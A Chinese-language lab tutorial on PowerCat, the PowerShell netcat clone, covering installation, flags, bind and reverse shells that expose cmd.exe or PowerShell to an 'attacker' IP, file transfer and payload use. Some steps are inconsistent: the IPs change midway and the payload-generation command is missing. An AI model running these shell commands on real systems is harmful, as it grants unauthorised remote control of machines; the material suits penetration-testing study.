PowerCat介绍
PowerCat是一个powershell写的tcp/ip瑞士军刀,可以看成ncat的powershell的实现,然后里面也 加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。
PowerCat安装
1、下载地址
https://github.com/besimorhino/powercat
2、下载下来导入
Import-Module .\powercat.ps1
3、如果提示未能加载指定模块,或运行不了则可能是权限问题,通过管理员权限打开powershell,输入如下代码
Set-ExecutionPolicy Unrestricted
4、输入如下命令可以查看帮助信息 powercat -h
5、如下就是安装成功
PowerCat命令
-l监听连接
-c连接到侦听器
-p要连接或监听的端口
-e执行 -ep执行Powershell
-r中继。格式:“-r tcp:10.1.1.1:443”
-u通过UDP传输数据
-dns通过dns传输数据
-dnsft DNS故障阈值
-t超时选项。默认值:60
-I输入:文件路径(字符串),字节数组或字符串
-o控制台输出类型:“主机”,“字节”或“字符串”
-of输出文件路径
-d连接后断开连接
-rep中继器。断开连接后重新启动
-g生成有效载荷
-ge生成编码的有效载荷
-h打印帮助消息
PowerCat实验环境简介
机器名称 | 机器IP |
攻击机 | 192.168.14.137 |
靶机 | 192.168.14.131 |
PowerCat和nc正向连接
1、靶机使用powercat执行以下命令
powercat -l -p 8080 -e cmd.exe -v
2、攻击机使用nc执行以下命令po
nc 192.168.14.131 8080 -vv
3、查看返回结果
PowerCat和nc反向连接
1、靶机使用powercat执行以下命令
powercat -c 192.168.14.137 -p 8888 -v -e cmd.exe
2、攻击机使用nc执行以下命令
nc -l -p 8888 -vv
3、查看返回结果
PowerCat和PowerCat反向连接
1、靶机使用powercat执行以下命令
powercat -c 192.168.14.137 -p 9999 -v -ep
2、攻击机使用powercat执行以下命令
powercat -l -p 9999 -v
3、查看返回结果
PowerCat文件传输
1、靶机使用powercat执行以下命令
powercat -l -p 9999 -of test.txt -v
2、攻击机使用powercat执行以下命令
powercat -c 192.168.3.10 -p 9999 -i D:test.txt -v
3、查看返回结果
用powercat生成payload
1、攻击机使用powercat执行以下命令生成payload
2、攻击机使用powercat执行以下命令连接
powercat -c 192.168.3.10 -p 8000 -v
3、在靶机上运行脚本
.\shell.ps1
4、查看运行结果